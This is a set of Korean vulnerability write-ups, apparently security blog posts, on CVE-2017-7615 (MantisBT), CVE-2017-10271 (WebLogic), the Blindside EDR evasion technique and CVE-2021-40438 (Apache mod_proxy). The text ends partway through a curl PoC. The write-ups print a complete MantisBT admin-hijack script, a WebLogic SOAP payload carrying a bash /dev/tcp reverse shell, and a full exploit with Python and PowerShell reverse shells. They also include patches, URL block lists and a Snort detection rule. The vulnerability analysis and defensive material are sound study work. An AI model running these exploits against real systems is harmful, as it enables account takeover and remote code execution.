1. Mantis BT

- Mantis Bug Tracker는 무료 오픈 소스 웹 기반 버그 추적 시스템
- MantisBT의 가장 일반적인 용도는 소프트웨어 결함을 추적하는 것

 

Mantis Bug Tracker

Email Notifications Keep your team and clients updated with notifications on issue updates, resolution, or comments.

www.mantisbt.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-7615

- Mantis 계정 확인 페이지 'verify.php'에서 모든 사용자의 비밀번호를 재설정할 수 있는 취약점

영향받는 버전 : MantisBT 2.3.0 및 이전 버전

 

2.1 분석

- 공격자는 [사진 2]처럼 verify.php에 매개변수를 조작하여 패킷을 전송

① id 매개변수 값을 1로 설정

② confirm_hash 값을 빈 값으로 설정

[사진 2] Exploit 예시

 

- 먼저, verify.php 파일에서 if문을 통해 사용자 계정 확인 시도.

- [사진 3]에서 confirm_hash 값이 비어있는 경우에 대한 검증이 없어 조건문 우회가 가능함.

[사진 3] verify.php

 

- 또한, [사진 3]에서 auth_attemp_script_login(); 함수 호출 흐름은 다음과 같음

auth_attempt_script_login(user_get_field($f_user_id, 'username'));

user_get_row

user_cache_row

 

- user_cache_row()는 기존 사용자 정보를 DB에서 가져와, 요청 받은 계정에 대한 $t_user_row(행번호) 반환

※ 유효한 $t_user_row(행번호) 값을 반환 받지 못하면 에러 발생

- 일반적으로 시스템에는 최소한 한개의 관리자가 존재하므로, id 매개변수 값을 1로 설정

[사진 4] user_cache_row()

 

- verify.php는 마지막으로 사용자에게 인증 토큰을 반환

[사진 5] 인증 토큰

 

- 이후, 공격자는 account_update.php 요청을 통해 관리자 계정(혹은 사용자 계정)의 비밀번호 재설정 수행

※ account_update_token가 일치하지 않는, 즉 유효한 토큰이 없으면 오류를 반환

[사진 6] Exploit 예시

 

- 최종적으로, account_update.php에서 비밀번호가 재설정됨

UPDATE mantis222_user_table222 SET password=root, cookie_string=XFf3oXAaubj6XafrescDZ702IJeWIA1kecS7KoKvqFge_skYnK2QPVHR6Im5FXcq WHERE id=1

 

- 위 과정을 정리하면. [사진 7]과 같음

[사진 7] 정리

2.2 PoC

- 2.1 분석에서 확인한 것과 같이 id, confirm_hash 매개변수를 각각 1, 빈값으로 설정

- 추가적으로, 비밀번호 재설정을 위해 응답값에서 account_update_token 값을 추출

import cookielib,urllib,urllib2,time

print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
print '1.2.x versions are not affected'
print 'Remote Password Reset 0day Exploit'
print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'

IP=raw_input("[Mantis Victim IP]>")
realname=raw_input("[Username]")
verify_user_id=raw_input("[User ID]")
passwd=raw_input("[New Password]")

TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='

values={}
account_update_token=''
#verify_user_id='1'          #Admin  = 1
#realname='administrator'    #Must be known or guessed.


#REQUEST 1, get Mantis account_update_token 
cookies = cookielib.CookieJar()

opener = urllib2.build_opener(
    urllib2.HTTPRedirectHandler(),
    urllib2.HTTPHandler(debuglevel=0),
    urllib2.HTTPSHandler(debuglevel=0),
    urllib2.HTTPCookieProcessor(cookies))

res = opener.open(TARGET)

arr=res.readlines()
for s in arr:
        if 'account_update_token' in s:
                break


#print s[61:-38]
ACCT_TOKEN=s[61:-38]

time.sleep(0.3)

#REQUEST 2 Hijack the Admin Account
TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
values = {'verify_user_id' : '1',
        'account_update_token' : ACCT_TOKEN,
        'realname' : realname,
        'password' : passwd,
        'password_confirm' : passwd}
  
data = urllib.urlencode(values)

opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))

response = opener.open(TARGET, data)
the_page = response.read()
http_headers = response.info()

#print http_headers
print response.getcode()
print 'Account Hijacked!'
time.sleep(2)

 

3. 대응방안

3.1 서버 측면

① 최신 패치 적용

- 취약한 조건문과 비교해 봤을 때, confirm_hash 값이 비어있지 않을 경우에 대한 검증이 추가됨

if( $f_confirm_hash !== $t_token_confirm_hash || null === $t_token_confirm_hash ) {
	trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
}

 

3.2 네트워크 측면

① 해당 취약점을 이용한 공격 시도를 탐지 가능한 정책 설정 및 적용

- /verify.php?id=1&confirm_hash=
- /account_update.php

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2017-7615
http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
- https://mantisbt.org/bugs/view.php?id=22690#c56509
https://www.exploit-db.com/exploits/41890
https://xz.aliyun.com/t/11592
https://github.com/mantisbt/mantisbt/tree/release-2.18.0
https://mantisbt.org/blog/archives/mantisbt/518
https://packetstormsecurity.com/files/159219/Mantis-Bug-Tracker-2.3.0-Remote-Code-Execution.html
https://www.openwall.com/lists/oss-security/2017/04/16/2

1. Oracle WebLogic

- 오라클이 개발한 웹 애플리케이션 서버

- JAVAEE 아키텍처를 기반으로 하는 미들웨어

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-10271

- Oracle WebLogic Server WLS Security 구성 요소에서 부적절한 사용자 입력 값 처리로 인해 인증되지 않은 공격자가 WebLogic의 권한으로 원격 코드 실행이 가능한 취약점

- 해당 취약점을 이용해 암호화폐 채굴프로그램을 실행하는 이슈가 있다고 함

① 영향받는 버전
- Oracle Weblogic Server 10.3.3.0
- Oracle Weblogic Server 10.3.6 0
- Oracle Weblogic Server 12.2.1.1
- Oracle Weblogic Server 12.2.1.2
- Oracle Weblogic Server 12.1.3.0

 

2.1 실습

- docker 빌드 및 실행

git clone https://github.com/vulhub/vulhub
cd /vulhub/weblogic/CVE-2017-10271
docker-compose up -d

[사진 2] docker 성공적 실행

- 공격자의 터미널 생성

[사진 3] 터미널 생성

- Exploit 수행

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.56.112:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.56.102/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 

- Exploit 결과 공격자는 쉘을 획득하고, 임의의 명령을 수행할 수 있게됨

- 이 외에도 웹쉘 생성 등이 가능함

[사진 4] 쉘 획득

- Exploit 과정의 패킷 확인

[사진 5] 와이어샤크 확인

2.2 분석

- 정리하면 XML을 구문 분석하는 과정에서 Element 필드 값이 Object 이면 예외가 발생하며 이로 인해 취약점이 발생

- wls-wsat.war에서 발생하며, 이 구성 요소는 weblogic과 함께 제공되는 webservices 핸들러를 사용하여  SOAP 요청을 처리

- WorkContextServerTube 클래스의 processRequest 메소드사용자 요청에서 XML을 분할하여 실제 실행될 XML을 추출하여 readHeaderOld 메소드에 넘겨줌

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

 

[사진 6] processRequest 메소드

 

- ByteArrayOutputStream var4는 PoC 코드의 실제 실행 부분으로 채워짐 (해당 근거는 정확히 모르겠음)

[사진 7] readHeaderOld 메소드

 

- [사진 7]에서 덮어씌워진 공격 코드가 [사진 8]의 XMLDecoder에 의해 실행

[사진 8]&nbsp;XMLDecoder

2.3 PoC

- 사용자로부터 인수(self.cmd_base(), self.cmd_opt(), self.cmd_payload)를 전달받아 get_process_builder_payload 함수에서 공격 페이로드를 완성

- 요청 URL : /wls-wsat/CoordinatorPortType

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: Weblogic wls-wsat Component Deserialization RCE
# Date Authored: Jan 3, 2018
# Date Announced: 10/19/2017
# Exploit Author: Kevin Kirsche (d3c3pt10n)
# Exploit Github: https://github.com/kkirsche/CVE-2017-10271
#     Exploit is based off of POC by Luffin from Github
#     https://github.com/Luffin/CVE-2017-10271
# Vendor Homepage: http://www.oracle.com/technetwork/middleware/weblogic/overview/index.html
# Version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0
# Tested on: Oracle WebLogic 10.3.6.0.0 running on Oracle Linux 6.8 and Ubuntu 14.04.4 LTS
# CVE: CVE-2017-10271
# Usage: python exploit.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
#   (Python 3) Example check listener: python3 -m http.server 4444
#   (Python 2) Example check listener: python -m SimpleHTTPServer 4444
#   (Netcat) Example exploit listener: nc -nlvp 4444

from requests import post
from argparse import ArgumentParser
from random import choice
from string import ascii_uppercase, ascii_lowercase, digits
from typing import Literal
from xml.sax.saxutils import escape

class Exploit:

    def __init__(self, check: bool, rhost: str, lhost: str, lport: str, windows: bool) -> None:
        self.url = rhost.strip("/") if rhost.endswith('/') else rhost
        self.lhost = lhost
        self.lport = lport
        self.check = check
        self.target = "win" if windows else "unix"

        if self.target == 'unix':
            # Unix reverse shell
            # You should also be able to instead use something from MSFVenom. E.g.
            # msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=4444
            self.cmd_payload = (
                "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket."
                "SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2("
                "s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
            ).format(lhost=self.lhost, lport=self.lport)
        else:
            # Windows reverse shell
            # Based on msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.10.10 LPORT=4444
            self.cmd_payload = (
                r"powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) "
                r"{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='" + self.lhost +""
                r"';$p='"+ self.lport + "';$c=New-Object system.net.sockets.tcpclient;$c.connect($a"
                r",$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"
                r"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"
                r"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"
                r"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"
                r"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"
                r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};"
                r"$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;"
                r"while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0)"
                r" -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;"
                r"if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};"
                r"if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if "
                r"($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne"
                r" -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e."
                r"GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};"
            )
        self.cmd_payload = escape(self.cmd_payload)

    def cmd_base(self) -> Literal["cmd", "/bin/sh"]:
        return "cmd" if self.target == "win" else "/bin/sh"

    def cmd_opt(self) -> Literal["/c", "-c"]:
        return "/c" if self.target == "win" else "-c"

    def get_generic_check_payload(self) -> str:
        random_uri = ''.join(
            choice(ascii_uppercase + ascii_lowercase + digits)
            for _ in range(16))
        return f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8" class="java.beans.XMLDecoder">
        <void id="url" class="java.net.URL">
          <string>http://{self.lhost}:{self.lport}/{random_uri}</string>
        </void>
        <void idref="url">
          <void id="stream" method = "openStream" />
        </void>
      </java>
    </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''

    def get_process_builder_payload(self) -> str:
        return f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3" >
            <void index="0">
              <string>{self.cmd_base()}</string>
            </void>
            <void index="1">
              <string>{self.cmd_opt()}</string>
            </void>
            <void index="2">
              <string>{self.cmd_payload}</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''

    def print_banner(self) -> None:
        print("=" * 80)
        print("CVE-2017-10271 RCE Exploit")
        print("written by: Kevin Kirsche (d3c3pt10n)")
        print(f"Remote Target: {self.url}")
        print(f"Shell Listener: {self.lhost}:{self.lport}")
        print("=" * 80)

    def post_exploit(self, data: str) -> None:
        headers = {
            "Content-Type":
            "text/xml;charset=UTF-8",
            "User-Agent": (
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 "
                + "(KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
            ),
        }
        vulnurl = f"{self.url}/wls-wsat/CoordinatorPortType"
        try:
            _ = post(
                vulnurl, data=data, headers=headers, timeout=10, verify=False)
            if self.check:
                print("[*] Did you get an HTTP GET request back?")
            else:
                print("[*] Did you get a shell back?")
        except Exception as e:
            print('[!] Connection Error')
            print(e)

    def run(self) -> None:
        self.print_banner()
        if self.check:
            print('[+] Generating generic check payload')
            payload = self.get_generic_check_payload()
        else:
            print('[+] Generating execution payload')
            payload = self.get_process_builder_payload()
        print('[*] Generated:')
        print(payload)
        if self.check:
            print('[+] Running generic check payload')
        else:
            print(f'[+] Running {self.target} execute payload')

        self.post_exploit(data=payload)


if __name__ == "__main__":
    parser = ArgumentParser(
        description=(
            "CVE-2017-10271 Oracle WebLogic Server WLS Security exploit. "
            + "Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, "
            + "12.2.1.1.0 and 12.2.1.2.0."
        )
    )
    parser.add_argument(
        "-l",
        "--lhost",
        required=True,
        dest="lhost",
        nargs="?",
        help="The listening host that the remote server should connect back to",
    )
    parser.add_argument(
        "-p",
        "--lport",
        required=True,
        dest="lport",
        nargs="?",
        help="The listening port that the remote server should connect back to",
    )
    parser.add_argument(
        "-r",
        "--rhost",
        required=True,
        dest="rhost",
        nargs="?",
        help="The remote host base URL that we should send the exploit to",
    )
    parser.add_argument(
        "-c",
        "--check",
        dest="check",
        action="store_true",
        help=(
            "Execute a check using HTTP to see if the host is vulnerable. This will"
            + "cause the host to issue an HTTP request. This is a generic check."
        ),
    )
    parser.add_argument(
        "-w",
        "--win",
        dest="windows",
        action="store_true",
        help="Use the windows cmd payload instead of unix payload (execute mode only).",
    )

    args = parser.parse_args()

    exploit = Exploit(
        check=args.check,
        rhost=args.rhost,
        lhost=args.lhost,
        lport=args.lport,
        windows=args.windows,
    )
    exploit.run()

 

- PoC에서 확인된 URL외 다음 URL을 통한 공격도 가능

- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

3. 대응방안

3.1 서버측면

① 최신 버전 업데이트 적용

- object , new , method , void 및 array 와 같은 필드의 사용을 제한함으로써 보안 우회를 방지

private void validate(InputStream is) {
 WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
 
 try {
  SAXParser parser = factory.newSAXParser();
  
  parser.parse(is, new DefaultHandler()) {
   private int overallarraylength = 0;
   
   public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
    if (qName.equalsIgnoreCase("object")) {
     throw new IllegalStateException("Invalid element qName:object");
    } else if (qName.equalsIgnoreCase("new")) {
     throw new IllegalStateException("Invalid element qName:new");
    } else if (qName.equalsIgnoreCase("method")) {
     throw new IllegalStateException("Invalid element qName:method");
    } else {
     if (qName.equalsIgnoreCase("void")) {
      for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
       if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
        throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
       }
      }
     }
     
     ... more code here ...
    }
   }
  }
 }
}

 

- patch v171017 이상 버전의 패치로 업데이트

※ 10.3.5 이하는 10.3.6으로 업데이트 후 패치

※ 패치 링크는 Oracle 계약이 되어있는 계정만 확인 가능

Product Home
Patch
Advisory Number
Comments
WebLogic Server 12.2.1.2 home
WLS PSU 12.2.1.2.171017 Patch 26485996
CVE-2017-10271, CVE-2017-10336, CVE-2017-10352, CVE-2017-10334
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
WebLogic Server 12.2.1.1 home
WLS PSU 12.2.1.1.171017 Patch 26519400
CVE-2017-10271, CVE-2017-10336, CVE-2017-10352, CVE-2017-10334
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
WebLogic Server 12.1.3.0 home
WLS PSU 12.1.3.0.171017 Patch 26519417
CVE-2017-10271, CVE-2017-10336, CVE-2017-10152, CVE-2017-10352, CVE-2017-10334
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
WebLogic Server 10.3.6.0 home
WLS PSU 10.3.6.0.171017 Patch 26519424
CVE-2017-10271, CVE-2017-10336, CVE-2017-10152, CVE-2017-10352, CVE-2017-10334
See Note 1607170.1, SSL Authentication Problem Using WebLogic 10.3.6 and 12.1.1 With JDK1.7.0_40 or Higher
Fix for CVE-2017-5638 is not included in the WLS PSU patches. See Note 2255054.1, "Upgrade Apache Struts 2 to Version 2.3.32 for WebLogic Code Example"

 

② 업데이트가 불가할 경우 다음 중 한 가지를 수행

⒜ wls-wsat 컴포넌트 URL을 웹 방화벽에서 차단

- /wls-wsat/*

- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

⒝ wls-wsat 컴포넌트 삭제

- find / -name *wls-wsat* 검색 후 삭제

[사진 9] wls-wsat 컴포넌트 삭제

 

⒞ wls-wsat 컴포넌트 비활성화 옵션 추가

# setDomainEnv.sh 파일을 설정하거나 본인이 알고있다면 다른 쉘스크립트를 수정해도 된다.
# $DOMAIN_HOME/bin/setDomainEnv.sh 파일 수정
1004lucifer@WAS01:/app/wls1036/domains/domain/bin>$ vi setDomainEnv.sh

... (생략)
JAVA_PROPERTIES="${JAVA_PROPERTIES} ${WLP_JAVA_PROPERTIES}"
export JAVA_PROPERTIES

JAVA_OPTIONS="${JAVA_OPTIONS} ${JAVA_PROPERTIES} -Dwlw.iterativeDev=${iterativeDevFlag} -Dwlw.testConsole=${testConsoleFlag} -Dwlw.logErrorsToConsole=${logErrorsToConsoleFlag}"
JAVA_OPTIONS="-Dweblogic.wsee.wstx.wsat.deployed=false ${JAVA_OPTIONS}"
export JAVA_OPTIONS
... (생략)

1004lucifer@WAS01:/app/wls1036/domains/domain/bin>$

 

3.2 네트워크 측면

- wls-wsat 컴포넌트틀 통한 요청을 탐지할 수 있는 정책 생성 및 적용

alert tcp any any -> any any (msg:"Oracle WebLogic WLS Security Component RCE (CVE-2017-10271)"; flow:established,from_client; content:"wls-wsat"; http_uri; nocase;)

- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

4. 참고

- https://nvd.nist.gov/vuln/detail/CVE-2017-10271

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26948 

- https://www.oracle.com/security-alerts/cpuoct2017.html

- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

- https://bl4ck.in/vulnerability/analysis/2017/12/22/WebLogic-WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

- https://paper.seebug.org/487/

- https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/

- http://1004lucifer.blogspot.com/2018/

- http://genes1s.egloos.com/3079282

개요 - 엔드포인트 탐지 및 대응(EDR) 플랫폼을 무력화 시키는 새로운 공격 기법 발견
- 윈도 커널에서 사용자 요청을 처리하는 요소 중 하나인 NTDLL을 이용
- 공격에 성공하면 공격자들은 NTDLL에서부터 어떤 함수도 실행시킬 수 있게 되고, 이를 EDR은 탐지하지 못함
- 이를 "블라인드사이드(Blindside)"'라 부름
내용 ① 블라인드사이드(Blindside)
- 후크 되지 않은 프로세스를 하나 생성
※ 후크(hook)는 한 개의 애플리케이션이 다른 애플리케이션을 모니터링 할 수 있도록 하는 것
- EDR은 어플리케이션의 이상 행위를 찾아내기 위해  '후킹'을 이용하며, 이에 크게 의존적
- 즉, 후크되지 않은 프로세스는 EDR에 영향을 받지 않는 프로세스

② 기존 방식과의 차이
- 후크의 생성을 차단하는 공격은 있지만, 이러한 공격 기법는 OS와 깊은 관련이 있음
- 블라인드사이드 기법은 OS 의존도가 높지 않으며, 하드웨어를 운영하는 방식으로 구현

③ 동작방식
- 하드웨어가 작동을 멈추는 지점(breakpoint)을 활용
- 기존 방법들은 프로세스의 가상화나 시스템 호출(syscall)을 주로 활용했지만 블라인드사이드는 여기에 더해 특정 디버깅 프로세스를 악용
결론 - 해당 기법은 공격자들이 활용하지 않은 새로운 기법임
- 이는, EDR 벤더사들이 공격자들보다 한 발 더 앞서갈 수 있는 기회
- 나아가, 보안 솔루션이 만능이 아니라는 것을 알게 해줌으로써, 사용자들의 보안 인식 제고에도 도움을 줄것

- 실질적으로 활용되기에 충분한 공격 기법이 보안 업계에서 먼저 발견된 것은 꽤나 좋은 일
- 미리 방어법을 연구하고 발전시킬 수 있기 때문이며, 취약하다는 것을 증명하는 것이 아닌 위험성을 줄이는데에 긍정적인 영향을 끼침

- EDR 벤더사들은 후킹에대한 의존도를 낮출 필요

 

- 보안뉴스

 

엔드포인트 솔루션 무력화시키는 새로운 공격 기법, 블라인드사이드

엔드포인트 탐지 및 대응(EDR) 플랫폼을 쓸모 없는 것으로 만들 수 있는 새로운 공격 기법이 발견됐다. 윈도 커널에서 사용자 요청을 처리하는 요소 중 하나인 NTDLL을 이용하는 것으로, 여기에 성

www.boannews.com

1. Apache HTTP Server

- 아파치 소프트웨어 재단에서 관리하는 오픈 소스, 크로스 플랫폼 HTTP 웹 서버 소프트웨어

 

1.1 mod_proxy

- Apache HTTP Server의 선택적 모듈

- 다중 프로토콜 프록시/게이트웨이 서버

 

mod_proxy - Apache HTTP Server Version 2.4

Apache Module mod_proxy Summary Warning Do not enable proxying with ProxyRequests until you have secured your server. Open proxy servers are dangerous both to your network and to the Internet at large. mod_proxy and related modules implement a proxy/gatewa

httpd.apache.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-40438

- 인증되지 않은 사용자가 Mod_Proxy 모듈을 통해 SSRF 공격 가능

① 전제조건
- mod_proxy 구성 사용.
- VirtualHost의 ProxyPass가 지정한 URL 항목을 알아야 함.
- GET 방식을 사용하여 매우 긴 문자열을 요청하여 대상 Apache 설정을 초과

② 영향받는 조건
- Apache HTTP Server 2.4.48 이전 버전

 

2.1 실습

- docker 빌드 및 실행

git clone https://github.com/sixpacksecurity/CVE-2021-40438
cd CVE-2021-40438
docker build -t cve-2021-40438:1.0 .
docker run --rm -d -p 4444:80 cve-2021-40438:1.0

[사진 2] docker 프로세스 확인

 

- curl PoC 수행 및 결과 301 응답값과 함께 google.com으로 리다이렉트

curl "http://[Dst IP]:4444/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA